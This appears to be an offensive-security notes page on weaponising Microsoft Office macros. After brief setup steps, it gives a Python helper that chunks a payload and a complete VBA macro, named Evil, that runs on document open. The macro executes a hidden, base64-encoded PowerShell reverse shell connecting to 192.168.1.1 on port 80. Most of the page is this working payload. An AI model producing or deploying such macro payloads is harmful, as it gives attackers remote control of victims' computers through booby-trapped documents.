> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/windows/office-macro/microsoft-office.md).

# Microsoft Office

Microsoft Office macro is one of best-known client-side attack vector.

Choose VIEW ribbon and selecting Macros option. We type name for the macro and in the MACROS in drop-down menu, select the name of document, then the macro will be add. When we click create, a simple macro framework will be add into our document. We have to save the document as either .docm or the older .doc format. They support embedded macros, .docx format does not.

<https://www.revshells.com/> - Reverse - Powershell #4 -Base64 Encoded - 192.168.1.1 - 80

We have to edit the payload. We change related part of payload variable.&#x20;

```
#!/usr/bin/python

payload = "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad..."

n=50

for i in range(0, len(payload), n):
	print "Str = Str + " + '"' + payload[i:i+n] + '"'
```

```
Sub AutoOpen()
    Evil
End Sub

Sub Document_Open()
    Evil
End Sub

Sub Evil()
    Dim Str As String
    Str = Str + "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad"
    Str = Str + "AAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB"
    Str = Str + "lAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDA"
    Str = Str + "GwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgAxACI"
    Str = Str + "ALAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAa"
    Str = Str + "QBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB"
    Str = Str + "5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2A"
    Str = Str + "DUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGk"
    Str = Str + "AIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAe"
    Str = Str + "QB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgB"
    Str = Str + "nAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhA"
    Str = Str + "CAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHA"
    Str = Str + "AZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQ"
    Str = Str + "QBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB"
    Str = Str + "0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApA"
    Str = Str + "DsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQ"
    Str = Str + "AZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAc"
    Str = Str + "gBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQA"
    Str = Str + "gACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgA"
    Str = Str + "CsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACI"
    Str = Str + "AOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAd"
    Str = Str + "AAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQA"
    Str = Str + "uAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrA"
    Str = Str + "DIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHM"
    Str = Str + "AZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZ"
    Str = Str + "QAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgB"
    Str = Str + "sAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvA"
    Str = Str + "HMAZQAoACkA"
    CreateObject("Wscript.Shell").Run Str
End Sub
```